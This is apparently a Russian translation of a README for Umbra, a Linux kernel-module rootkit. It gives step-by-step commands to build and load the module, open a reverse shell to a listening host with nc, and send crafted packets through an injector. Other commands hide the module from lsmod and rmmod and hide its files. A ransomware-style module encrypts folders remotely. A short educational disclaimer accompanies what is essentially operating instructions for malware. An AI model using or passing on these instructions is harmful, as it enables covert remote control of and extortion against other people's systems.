
LKM-руткит, нацеленный на версии ядра 4.x и 5.x, который открывает бэкдор, позволяющий запускать reverse shell на удалённом хосте, выполнять вредоносное ПО и многое другое.

Umbra — это экспериментальный LKM-руткит с удалённым управлением для ядер 4.x и 5.x (до 5.7), который открывает сетевой бэкдор, позволяющий запускать reverse-оболочки на удалённых хостах, удалённо запускать вредоносное ПО и многое другое.
Руткит всё ещё находится в разработке, хотя перечисленные ниже функции уже полностью работоспособны.

Примечание: этот руткит был разработан и протестирован с использованием ядра 5.4.0 и Ubuntu 18.04.

Больше функций появится в последующих обновлениях.
Этот руткит предназначен исключительно для образовательных целей. Я не несу ответственности за любой ущерб, возникший в результате его непреднамеренного использования.
Также имейте в виду, что Umbra включает в себя лишь лёгкие механизмы скрытия и защиты. Он не предназначен для использования в реальных сценариях.
ВАЖНО: Если вы собираетесь тестировать этот руткит на своей машине, я настоятельно рекомендую использовать виртуальную машину.
О модулях Umbra: модуль ransom использует тривиальный механизм шифрования, но он может и обязательно зашифрует любую папку на вашей машине. Хотя файлы можно легко расшифровать, я точно не рекомендую запускать его против вашего корневого каталога или чего-то подобного, кроме как в контролируемой среде.
Помните, что у вас должно быть доступно ядро 4.x или 5.x.
apt install linux-headers-$(uname -r)
Настройте путь include так, чтобы он охватывал каталог заголовков ядра (обычно в /usr/src). Если вы используете vscode, вы можете посмотреть .vscode/c_cpp_properties.json в качестве примера того, какие каталоги следует включить.
Клонируйте проект
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
Если вы уже запускали скрипт ранее и хотите просто установить Umbra в ядро, вы можете выполнить:
sudo insmod ./umbra.ko
Убедитесь, что Umbra не находится в невидимом режиме, иначе это не сработает.
sudo rmmod umbra
kill -50 1
Укажите желаемые IP и порт в CONFIG.H перед сборкой руткита. По умолчанию 127.0.0.1:5888
Начните прослушивание на удалённом хосте.
nc -lvp 5888
kill -51 1
Примечание: Umbra также пытается запустить reverse-оболочку при загрузке.
Это предотвратит отображение руткита такими командами, как lsmod, или его удаление через rmmod.
kill -52 1
Это отменяет невидимый режим, если он активен.
kill -53 1
Umbra Injector можно запускать как до установки Umbra (в этом случае оболочка будет получена сразу после его установки), так и после установки Umbra на целевой системе.
./injector -S 127.0.0.1
Бэкдор прослушивает пакеты со следующей полезной нагрузкой:
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
Вы также можете собрать собственный инжектор, используя мою библиотеку RawTCP.
Это предотвратит отображение руткита такими командами, как lsmod, или его удаление через rmmod.
./injector -i 127.0.0.1
Это отменяет невидимый режим, если он активен.
./injector -u 127.0.0.1
Полную информацию о том, как запустить Umbra Injector, можно получить с помощью:
./injector -h
Модули Umbra будут сохранены скриптом install.sh в /tmp/umbra, где Umbra их скроет. Каталог не будет виден таким командам, как ls и подобным.
Этот модуль может запускать удалённые атаки, подобные ransomware, через Umbra Injector. Зашифрованные файлы получают расширение .ubr.
В настоящее время механизм шифрования представляет собой простой поразрядный NOP в качестве демонстрации концепции. Вы можете отредактировать модуль, чтобы добавить собственный алгоритм шифрования.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
Разработка этого руткита потребовала значительного объёма исследований по LKM и методам руткитов. Ниже приведён неполный список ресурсов, которые я использовал: Как создавать LKM:
Справочник по системным вызовам Linux:
Некоторые материалы по руткитам:
Этот проект распространяется под лицензией GPLv2. См. LICENSE